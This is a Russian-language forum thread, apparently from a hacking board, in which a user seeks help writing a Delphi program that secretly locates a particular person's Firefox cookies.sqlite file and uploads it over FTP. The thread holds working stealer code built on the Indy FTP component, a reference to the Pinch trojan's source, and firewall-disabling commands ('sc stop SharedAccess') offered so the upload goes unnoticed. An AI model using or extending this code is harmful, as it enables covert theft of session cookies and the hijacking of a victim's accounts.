Делфи и куки

Собственоо вопрос заключается в поиске куков на компьютере пользователя, и последующая отсылка мне на почту (или ftp сервер), но проблемам с поиском, можете помочь?

 

Бери исходники первого пинча и смотри как он это делает.
Но всё равно для каждого браузера свои методы

 

можно ссылку ?
это нужно делать скрытно...
и я думаю что у пользователя (мне именно его нужно) мазила

 

slesh я расчитывал сделать поиск по всему диску с файла cookies.sqlite
но не могу сделать по всему диску с и последующую его отправку на почту or FTP

 

http://forum.antichat.ru/threadnav122292-1-10.html

 

wolmer скажи,
if pos('vkontakte',searchrec.name)<>0 then
ищется позиция в куке?

 

Ищется есть ли куки контакта
То есть если значение pos() не равно нулю то значит куки есть (в нашем случае)

 

но мне желательно весь файл кукес, так как я помню куки в мозиле в одном файле.

 

Изучай FTP компонент (инди)
Он легкий в изучении, заливка идет через put() если я не ошибаюсь

(гугл в помощь по изучению)

 

Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\cookies.sqlite';
Строчка верно написана?

 

Да

 

procedure TForm1.FormCreate(Sender: TObject);
var
User,Disc,startdir, TMP_FILE:string;
coock,st,mask:string;
f:TextFile;
i:integer;
searchrec : tsearchrec;
Firefox,IE: string;
begin
Disc:=GetSystemDisk;
User:=GetUserFromWindows;
Firefox:= Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\cookies.sqlite';
if FileExists(Firefox) then
begin
AssignFile(f,Firefox);
Reset(f);
for i:=0 to 500 do
begin
Readln(f, st);
coock:=coock+st;
end;
end;
startdir:=Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\cookies.sqlite';
mask := '*.*';
if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
begin
// отправка на сервер
with IdFTP1 do try
IdFTP1.Username:='Login';
IdFTP1.Password:='pass';
IdFTP1.Host:='ftp';
Connect;

finally
if IdFTP1.Connected
then
try
IdFTP1.Put(Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\cookies.sqlite','',false);
finally
if IdFTP1.Connected then
IdFTP1.Disconnect;
end;
end;
end;
end;

end.


Вот код, по идеи должны отправляться куки с компьюттера на фтп, но увы, в чем ошибка(а она есть )

 

Понимаешь программирование такая штука что тут надо варить своей головой и смыслить что ты пишешь

Code:

procedure TForm1.FormCreate(Sender: TObject);
var
 fireuser:string;
 find:integer;
 sf:TSearchRec;
begin
 find:=FindFirst('D:\Documents and Settings\my\Application Data\Mozilla\Firefox\Profiles\*',faDirectory,sf);
 if find=0 then
  begin
   if ((Sf.Attr and faDirectory) = faDirectory) and
    ((Sf.Name = '.') or (Sf.Name = '..')) then
    begin
      Find:=FindNext(Sf);
    end;
   find:=FindNext(sf);
   edit1.text:=sf.name;
  end;
end;

Это пример кода с одним юзером...
Мы тут узнаем самого юзера фаерфокса
Вообщем пробуй! Если что не выйдет - подскажу

 

wolmer понимаешь ээто должно происходить скрытно, сижу мучаюсь уже с утра, и не отправляет он куки, хотя другие файлы(если укажу путь) отправляет

 

Твоя задача обойти Windows Firewall и другие?

 

Fliplab найти и отправить куки удалось, но палят отправку (и блокируют) фаерволы, не знаешь как это обойти?

 

страннно, но я это всё выкладывал(но раз лень искать)

Code:

  winexec(PChar('cmd.exe /c  sc config SharedAccess start= disabled'),sw_normal); //останавливаеи брендмауер
  winexec(PChar('cmd.exe /c  sc stop SharedAccess '),sw_normal);

 

Спасибо за помощь, искал не нашел(плохо искал значит)